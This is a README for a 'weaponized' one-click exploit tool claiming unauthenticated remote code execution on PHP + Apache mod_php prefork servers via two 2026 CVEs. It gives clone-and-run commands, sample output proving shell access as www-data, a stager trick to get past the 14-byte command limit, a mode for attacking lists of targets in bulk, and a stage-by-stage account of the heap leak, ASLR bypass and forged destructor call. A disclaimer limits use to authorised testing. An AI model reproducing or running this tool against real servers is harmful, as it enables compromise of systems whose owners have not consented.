
One-click exploit PoC for CVE-2026-109618 and CVE-2026-109619 against vulnerable PHP + Apache mod_php (prefork) targets.
One-click weaponized PoC for CVE-2026-109618 & CVE-2026-109619
Targeting vulnerable PHP + Apache mod_php (prefork) deployments.
⚠️ WARNING: This tool is provided strictly for authorized security testing, CTFs, and educational research. Do not use this against infrastructure you do not own or have explicit permission to test. The author assumes no liability for misuse.
PHP2shell is a multi-stage memory corruption exploit targeting the PHP core within Apache mod_php prefork environments.
By abusing Out-Of-Memory (OOM) handling and request-owned state that survives in persistent workers, this exploit bypasses ASLR (Address Space Layout Randomization), leaks internal heap and libphp.so pointers, and forges PHP structures to achieve unauthenticated Remote Code Execution (RCE).
bookworm (Default): Official php:8.4.26-apache Docker image on Debian Bookworm.lab: Custom lab build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).Get up and running in seconds.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Due to the 167-byte carrier size, the command length is strictly limited to 14 bytes. To execute longer payloads, use a short stager:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
Create a targets.txt file:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
Run the exploit sequentially against all targets:
python3 php2shell.py -t targets.txt
If you have extracted offsets manually or are targeting a custom build, pass them directly:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
Instead of checking a local file, force the exploit to verify RCE by fetching a file via HTTP:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| Argument | Description |
|---|---|
-u, --url | Target PHP page URL |
-t, --target-file | File with one target URL per line |
-c, --cmd | Command to execute (max 14 bytes) |
--proof-file | Local proof file to check (default: out/p1) |
--fetch | GET path to verify exploitation remotely |
--profile | Target profile: bookworm (default) or lab |
--zif-offset | Offset of zif_system in libphp.so |
--dtor-offset | Offset of ZVAL_PTR_DTOR in libphp.so |
--htdata-offset | Chunk-relative offset of the 167-byte string |
--retries | Attempts per leak stage (default: 3) |
--no-color | Disable ANSI colors |
| Stage 0 | Worker Rotation: Sends an oversized request to force Apache prefork to abort the current worker and fork a fresh child with a clean heap. |
| Stage 1 | Heap Leak: Triggers OOM corruption so a module-global pointer references freed memory. Sprayed form fields reclaim the slot with a forged zend_string, leaking heap pointers via Set-Cookie. |
| Stage 2 | ASLR Bypass: Leaks a zval_ptr_dtor pointer from libphp.so. Subtracting the known DTOR_OFFSET reveals the library base address. |
| Stage 3 | RCE: Forges a fake HashTable and sets pDestructor to libphp_base + ZIF_OFFSET. PHP's cleanup routine calls zif_system with your command. |
Licensed under the MIT License. See LICENSE for details.
Crafted with 🔥 by 0xgh057r3c0n